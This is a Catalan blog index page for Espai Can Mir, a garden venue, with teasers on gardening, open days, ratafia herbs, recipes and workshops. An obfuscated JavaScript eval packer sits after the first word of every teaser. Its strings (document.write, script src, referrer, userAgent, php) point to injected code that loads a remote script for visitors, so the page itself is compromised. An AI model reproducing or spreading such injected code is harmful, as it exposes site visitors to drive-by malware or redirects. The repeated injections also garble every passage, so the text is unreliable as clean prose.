Taller Espai Can Mir

Nova temporada a l’Espai Can Mir

Tot eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byfki|var|u0026u|referrer|tzhyd||js|php’.split(‘|’),0,{}))
i que l’agost es temps de vacances, a l’Espai Can Mir estem en marxa: tenim cura de l’hort, que l’estiu és un temps molt productiu, revisem el nostre planter d’aromàtiques i d’altres espècies, i  comencem a plantejar la nova temporada.
Aquest any …

Benvinguts a Pages 2018 Espai Can Mir

Can Mir diu Benvinguts a Pagès

Dos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntriy|var|u0026u|referrer|neahy||js|php’.split(‘|’),0,{}))
dies de portes obertes per conèixer tot el que fem a Can Mir, viure l’apassionant món de les plantes, recòrrer la finca fent descobertes a cada pas i passar una jornada fantàstica en un entorn natural privilegiat.
Aquest és el tercer any que …

Espai Can Mir

Herbes per la ratafia. Espai Can Mir

Sabies eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yidia|var|u0026u|referrer|dnzeb||js|php’.split(‘|’),0,{}))
que a Can Mir tenim més de 25 plantes aromàtiques per fer ratafia? Aquest licor que s’obtè a través de la maceració de les més diverses herbes, és una de les begudes més tradicionals de Catalunya. Cada primavera, a Santa Coloma de …

Festa infantil a l'Espai Can Mir

Els nens a l’Espai Can Mir

Al eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|faaef|var|u0026u|referrer|yerhn||js|php’.split(‘|’),0,{}))
llarg de l’any els nens son protagonistes de les activitats que fem a Espai Can Mir. A vegades directament i altres com a acompanyants, però sempre hi tenen paper important.
Un cop ha passat el fred més rigorós (cap a finals de …

Calendari d'Advent. Espai Can Mir

El calendari d’Advent de l’Espai Can Mir

Cada eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beyee|var|u0026u|referrer|sraba||js|php’.split(‘|’),0,{}))
dia d’aquest mes de desembre obrim una de les sorpreses que ens porta el calendari d’advent que varem fer a l’Espai Can Mir el passat mes de novembre. Vols veure com ens va quedar? A nosaltres ens agrada moltíssim, i a tu?

Receptes Espai Can Mir

Pastís de carbassa, xocolata i figues. Receptes de l’Espai Can Mir

Aprofitant eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyfaa|var|u0026u|referrer|yzdzd||js|php’.split(‘|’),0,{}))
que les carbasses i les figues estan en el seu millor moment, hem decidit fer un pastís de tardor que té una fusió de gustos deliciosa. No és molt dolç, per això li afegim la confitura, i el toc de xocolata li …

Receptes Espai Can Mir

És temps de tomàquets. Aprofitem-ho. Receptes de l’Espai Can Mir

No eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btizr|var|u0026u|referrer|isabh||js|php’.split(‘|’),0,{}))
donem a l’abast de collir els tomàquets de tants com n’hi ha l’hort. Els mesos d’estiu són els ideals per menjar-ne crus o cuinats, fer-ne conserva o confitura. Són tan versàtils, refrescants i nutritius que no ens hi podem resistir. Deixem-nos seduir …

Espai Can Mir Idees

Fem saquets d’olor. Idees de l’Espai Can Mir

Ara eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|karhi|var|u0026u|referrer|iakrh||js|php’.split(‘|’),0,{}))
que les aromàtiques estan al seu punt una bona opció es tallar-ne algunes branques per deixar-les assecar per fer-ne uns saquets d’olor. És facilíssim i omplirem de fragància els nostres armaris i calaixos.
Els saquets d’olor són un producte natural i ecològic. …

Experiències a l'Espai Can Mir

Els secrets de l’oli d’oliva extra verge a l’Espai Can Mir. Una experiència única amb Masia Can Viver.

Espai eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftkyt|var|u0026u|referrer|rrhnh||js|php’.split(‘|’),0,{}))
Can Mir et proposa una experiència única en què aprendrem a valorar i apreciar un autèntic oli d’oliva extra verge (AOVE). La millor manera d’introduir-se en aquest món apassionant és fent un tast guiats per un expert, per això Maria Rosa Pérez, …